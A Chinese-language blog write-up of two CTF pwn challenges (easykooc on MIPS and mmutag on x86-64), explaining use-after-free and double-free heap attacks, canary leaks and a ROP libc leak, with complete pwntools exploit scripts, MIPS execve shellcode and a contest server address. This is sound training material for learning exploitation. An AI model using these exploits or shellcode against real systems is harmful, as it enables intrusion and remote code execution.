七星计划(2)


这一次来记载一些题目吧~

先从最近的题目开始

0x1.太湖杯-easykooc

首先检查保护

DAs8jH.png

mips32小端序,存在RWX段,所以可以执行shellcode

然后IDA…啊不,是ghidra分析(好想体验IDA分析mips的感觉啊,虽然ghidra反编译的也挺好)

DAsaUP.png

一个堆题,一开始会申请一个0x68的chunk,然后给出栈地址,进入while循环

先看到add函数

DAy8iV.png

能分配的chunk大小是固定的0x40

看到delete函数

DAg4oR.png

存在uaf

再看到功能3

DAgHSK.png

往austack44中读入0x24个字节的值,而austack44只有32字节的长度

image-20201116175906584

可以泄露canary

整体思路就是,最开始往0x68的chunk里读入数据时将shellcode写入其中,再通过edit功能泄露canary,然后再通过edit功能在栈中伪造一个0x41的chunk,利用double free泄露堆地址,再将fake chunk链入到bin中,就可以把chunk申请到栈上,把main函数的返回地址修改成写有shellcode的堆地址,当退出while循环时就能够执行shellcode了。

由于不大清楚怎么调试mips的exp,所以各种数据只能先调试好再写exp,很难受,exp如下

from pwn import *
context.log_level='debug'
#io=process(['qemu-mipsel','-L','./mipsel-linux-gnu','./easyKooc'])
io=remote('121.36.166.138',8893)

def add(index,content):
    io.recvuntil('Plz input your choice\n')
    io.sendline('1')
    io.recvuntil('Plz input your todo id!\n')
    io.sendline(str(index))
    io.recvuntil('input your content\n')
    io.send(content)

def dele(index):
    io.recvuntil('Plz input your choice\n')
    io.sendline('2')
    io.recvuntil('Plz input your todo id!\n')
    io.sendline(str(index))

def edit(content):
    io.recvuntil('Plz input your choice\n')
    io.sendline('3')
    io.recvuntil('What message do you want to leave?\n')
    io.send(content)

shellcode  = ""
shellcode += "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404     

io.recvuntil('Plz input your motto!\n')
io.send(shellcode)
io.recvuntil('0x')
stack=int(io.recv(8),16)
log.success('stack => {}'.format(hex(stack)))
edit('a'*0x21)
io.recvuntil('The message for you is ')
io.recv(0x21)
canary=u32(io.recv(3).rjust(4,'\x00'))
log.success('canary => {}'.format(hex(canary)))

edit('a'*0x18+p32(0)+p32(0x41)+p32(canary))
add(1,'a')
add(2,'b')
dele(1)
dele(2)
dele(1)

add(3,p32(stack+0x20))
add(5,' ')
io.recvuntil('your content is: ')
heap_addr=u32(io.recv(3).ljust(4,'\x00'))-0x18
add(6,' ')
log.success('heap_addr => {}'.format(hex(heap_addr)))
payload=p32(canary)+p32(0)+p32(heap_addr)
add(7,payload)
io.recvuntil('Plz input your choice\n')
io.sendline('4')
io.interactive()

0x2.西湖论剑-mmutag

检查保护

DEQzyF.png

IDA分析

DE2XQK.png

和上一题一样会先申请一个0x68的chunk,会往其中读入数据,再给我们栈地址

进入while循环后有两个功能,依次分析

DERCFA.png

第一个功能没什么用

看到第二个功能

DERmwQ.png

一个菜单

功能1是申请一个0x68的chunk

DEfti9.png

功能二是free一个chunk

DEfNGR.png

存在uaf

功能三可以往栈写入一些数据,可以泄露出canary

DEfhsf.png

DEfbJs.png

所以整体思路为:先泄露出canary,再往栈中伪造0x71的chunk,利用uaf将chunk申请到栈上,然后写rop链泄露出libc地址,再用通用gadget往rsp写rop链getshell,exp如下

from pwn import *
context.log_level='debug'
io=process('./mmutag')
elf=ELF('./mmutag')
libc=ELF('./libc-2.23.so')

def introduce():
    io.recvuntil('please input your choice:\n\n')
    io.sendline('2')

def add(index,content):
    io.recvuntil('please input your choise:\n')
    io.sendline('1')
    io.recvuntil('please input your id:\n')
    io.sendline(str(index))
    io.recvuntil('input your content\n')
    io.send(content)

def dele(index):
    io.recvuntil('please input your choise:\n')
    io.sendline('2')
    io.recvuntil('please input your id:\n')
    io.sendline(str(index))

def edit(content):
    io.recvuntil('please input your choise:\n')
    io.sendline('3')
    sleep(0.1)
    io.send(content)

def exit_():
    io.recvuntil('please input your choise:\n')
    io.sendline('4')

pop_rdi_ret=0x0000000000400d23
ret_addr=0x0000000000400679
csu_pop=0x400d1a
csu_call=0x400D00
io.recvuntil('please input you name: \n')
io.send('lock')
io.recvuntil('0x')
stack=int(io.recv(12),16)
log.success('stack => {}'.format(hex(stack)))

introduce()
edit('a'*0x19)
io.recvuntil('Your content: ')
io.recv(0x19)
canary=u64(io.recv(7).rjust(8,'\x00'))
log.success('canary => {}'.format(hex(canary)))

edit('a'*8+p64(0)+p64(0x71)+p64(canary))
add(1,'a')
add(2,'a')
dele(1)
dele(2)
dele(1)
add(3,p64(stack-0x38))
add(4,'a')
add(5,'a')
payload=p64(canary)+p64(stack+0x10)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(csu_pop)
payload+=p64(0)+p64(1)+p64(elf.got['read'])+p64(0x100)+p64(stack+0x38)+p64(0)+p64(csu_call)
#gdb.attach(io)
add(6,payload)
exit_()
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['puts']
log.success('libc_base => {}'.format(hex(libc_base)))
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh\x00').next()
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))
payload=p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)
sleep(0.1)
io.send(payload)
io.interactive()

文章作者: Lock
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lock !
评论
 上一篇
pwntrick pwntrick
记录一下pwn的一些小技巧以及一些利用方式,想到哪个写哪个吧。 0x1.stack smashing detected的利用stack smash技术的利用基础就是栈溢出导致canary被覆盖之后的报错流程 extern char **__
2021-01-02
下一篇 
七星计划(1) 七星计划(1)
一直对格式化字符串的利用不是很上手,所以决定做个总结,复现一些骚题目还有一些常规题,bss段的格式化字符串和正常的栈上的格式化字符串利用,希望通过这次总结能加深对格式化字符串利用的理解。 0x1.ha1cyon-ctf level2除了ca
2020-11-03
  目录